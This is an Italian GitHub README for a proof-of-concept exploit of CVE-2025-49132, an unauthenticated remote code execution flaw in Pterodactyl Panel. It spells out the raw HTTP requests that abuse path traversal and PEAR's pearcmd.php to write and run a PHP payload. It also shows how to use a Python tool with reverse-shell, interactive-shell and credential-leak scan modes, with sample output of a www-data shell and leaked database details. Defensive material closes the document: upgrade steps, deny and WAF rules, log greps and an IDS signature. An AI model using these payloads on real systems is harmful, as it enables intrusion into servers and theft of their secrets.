
CVE-2025-49132_PHP_PEAR_METHOD
Questo repository contiene un proof-of-concept (PoC) per CVE-2025-49132, una vulnerabilità critica di esecuzione remota di codice non autenticata in Pterodactyl Panel versioni precedenti alla 1.11.11.
Pterodactyl Panel è un pannello di gestione di server di gioco gratuito e open-source basato su PHP. La vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul sistema target sfruttando la gestione impropria dell’endpoint /locales/locale.json combinata con la funzionalità pearcmd.php di PHP PEAR.
PHP PEAR (PHP Extension and Application Repository) è un framework e un sistema di distribuzione per componenti PHP riutilizzabili. Fornisce uno strumento da riga di comando (pearcmd.php) che può essere utilizzato per gestire i pacchetti PEAR.
Il file pearcmd.php elabora comandi tramite parametri URL e, se combinato con path traversal, può essere sfruttato per:
La vulnerabilità esiste perché:
locale in /locales/locale.json consente path traversal senza una corretta validazionepearcmd.php accetta il comando +config-create che può scrivere file PHP arbitrariUn attaccante può:
config-create per scrivere codice PHP malevolo in /tmpL’exploit funziona in due fasi:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Spiegazione:
+config-create+/ - Invoca la funzionalità di creazione configurazione di PEARlocale=../../../../../../usr/share/php/PEAR - Path traversal verso la directory PEARnamespace=pearcmd - Punta al file pearcmd.php<?=system('id')?>+/tmp/payload.php - Payload PHP e file di destinazioneGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Spiegazione:
locale=../../../../../../tmp - Path traversal verso /tmpnamespace=payload - Include ed esegue payload.phpL’exploit richiede l’invio di caratteri speciali (<, >, ?, =) nell’URL senza codificarli. Se questi caratteri vengono codificati in URL:
<?=system('id')?> diventa %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Attaccante] -->|1. Richiesta Path Traversal| B[locale.json]
B -->|2. Path traversal verso PEAR| C[pearcmd.php]
C -->|3. Comando config-create| D[Scrive Payload PHP]
D -->|4. Crea File| E[payload.php]
E -->|5. File Creato| F[Filesystem del Server]
A -->|6. Richiesta di Esecuzione| G[locale.json]
G -->|7. Path traversal verso tmp| E
E -->|8. Inclusione ed Esecuzione| H[Interprete PHP]
H -->|9. Comando di Sistema| I[Comando Shell]
I -->|10. Output del Comando| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Attaccante
participant Server Web
participant PEAR
participant Filesystem
participant Motore PHP
Attaccante->>Server Web: GET locale.json con config-create
Server Web->>PEAR: Path traversal verso pearcmd
PEAR->>Filesystem: Crea payload.php
Filesystem-->>Attaccante: 200 OK
Attaccante->>Server Web: GET locale.json con namespace payload
Server Web->>Filesystem: Path traversal verso payload.php
Filesystem->>Motore PHP: Includi payload
Motore PHP->>Motore PHP: Esegui comando di sistema
Motore PHP-->>Attaccante: Output comando RCE
requestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
Oppure manualmente:
pip3 install requests
python3 poc.py -H <host_target> -c "<comando>"
# Sulla macchina attaccante, avvia listener
nc -lvnp 4444
# Esegui exploit con reverse shell
python3 poc.py -H <host_target> -r <tua_ip>:4444
python3 poc.py -H <host_target> --shell
python3 poc.py -H <host_target> --fuzz
python3 poc.py -H <host_target> --scan
Controlla la presenza di CVE-2025-49132 tramite perdite di configurazione (credenziali database, chiave app).
python3 poc.py -H <host_target> -c "whoami" -p "/opt/pear"
python3 poc.py -H <host_target> -c "id" -v
Mostra dettagli avanzati (creazione payload, percorso PEAR, stato esecuzione).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
-H HOST, --host HOST Host target (es. 192.168.1.100 o example.com)
-c COMMAND Comando da eseguire sul sistema target
-r REVERSE_SHELL Reverse shell (formato: LHOST:LPORT)
--shell Modalità pseudo-shell interattiva
--fuzz Fuzzing per percorsi di installazione PEAR
--scan Scansiona il target per la vulnerabilità (perdite di configurazione)
-p PEAR_PATH Percorso PEAR personalizzato (default: /usr/share/php/PEAR)
-e ENDPOINT Endpoint vulnerabile (default: /locales/locale.json)
--ssl Usa HTTPS
--timeout TIMEOUT Timeout della richiesta in secondi (default: 10)
-v, --verbose Output verboso di avanzamento
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE tramite PHP PEAR
[+] Output del comando:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Usa -v per output verboso (dettagli payload, percorso PEAR, ecc.).
# Terminale 1: Avvia listener
$ nc -lvnp 4444
listening on [any] 4444 ...
# Terminale 2: Esegui exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] Assicurati che il tuo listener sia in esecuzione: nc -lvnp 4444
# Terminale 1: Ricevi connessione
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] Trovate 3 potenziali installazioni PEAR:
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] Usa il flag -p con uno di questi percorsi per lo sfruttamento
Usa -v per vedere l’avanzamento del fuzzing per percorso.
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] Scansione: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABILE - Credenziali database perse
Host: 127.0.0.1
Porta: 3306
Database: panel
Utente: pterodactyl
Password: ********
Connessione: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABILE - Configurazione app persa
Chiave App: base64{...}
[!] AVVISO DI SICUREZZA: APP_KEY esposta!
-------------------------------------------------------
[+] Il target è VULNERABILE a CVE-2025-49132
Aggiorna Pterodactyl Panel
cd /var/www/pterodactyl
php artisan p:upgrade
Aggiorna alla versione 1.11.11 o successiva.
Disabilita l’endpoint vulnerabile (Workaround temporaneo)
Aggiungi alla configurazione del server web:
Apache (.htaccess):
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx:
location ~* /locales/locale\.json {
deny all;
return 403;
}
Nota: Questo romperà le funzionalità di localizzazione.
Web Application Firewall (WAF)
Implementa regole WAF per bloccare tentativi di path traversal:
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale e namespacerealpath() per risolvere e validare i percorsi dei fileAnalisi dei log – Cerca pattern sospetti:
# Log di accesso Apache/Nginx
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# Cerca file payload
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
Firme IDS/IPS:
alert http any any -> any any (msg:"CVE-2025-49132 Tentativo RCE PEAR";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI
Questo proof-of-concept è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. L’autore non si assume alcuna responsabilità per uso improprio o danni causati da questo programma.
L’accesso non autorizzato a sistemi informatici è illegale. Gli utenti sono responsabili di garantire la conformità alle leggi e ai regolamenti applicabili.
xffsec
| Contatto |
|---|
| GitHub: @xffsec |
| Email: [email protected] |
Questo progetto è concesso in licenza sotto la licenza MIT – consulta il file LICENSE per i dettagli.
Contributi, segnalazioni di problemi e richieste di funzionalità sono benvenuti! Sentiti libero di aprire un issue o inviare una pull request.
⚠️ Ricorda: Pratica sempre la divulgazione responsabile e non sfruttare mai vulnerabilità senza autorizzazione adeguata.